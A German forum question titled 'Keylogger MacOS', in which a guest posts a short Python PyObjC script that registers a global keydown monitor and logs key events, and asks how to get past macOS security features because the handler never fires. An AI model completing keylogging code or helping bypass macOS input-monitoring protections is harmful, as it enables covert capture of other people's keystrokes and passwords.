Keylogger MacOS

Gast #5162524
Lesenswert?

1
 AppKit import NSApplication, NSApp
2
from Foundation import NSObject, NSLog
3
from Cocoa import NSEvent, NSKeyDownMask
4
from PyObjCTools import AppHelper
5

6
class AppDelegate(NSObject):
7
    print "delegate"
8
    def applicationDidFinishLaunching_(self, notification):
9
        mask = NSKeyDownMask
10
        NSEvent.addGlobalMonitorForEventsMatchingMask_handler_(mask, handler)
11

12
def handler(event):
13
    try:
14
        print "handler"
15
        NSLog(u"%@", event)
16
    except KeyboardInterrupt:
17
        AppHelper.stopEventLoop()
18

19
def main():
20
    app = NSApplication.sharedApplication()
21
    delegate = AppDelegate.alloc().init()
22
    NSApp().setDelegate_(delegate)
23
    AppHelper.runEventLoop()
24

25
if __name__ == '__main__':
26
    main()

Hi, das Programm läuft, allerdings springt der nie in den handler wenn 
ich eine Taste drücke. Ich denke das liegt an den Sicherheitsfeatures 
von MacOS wisst ihr wie ich den Mac dahinbekomme das zu machen?

Antwort schreiben

Bitte melde dich an, um einen Beitrag zu schreiben.

oder

Mit Google-Account einloggen

Die Registrierung ist kostenlos und dauert nur eine Minute.

Jetzt registrieren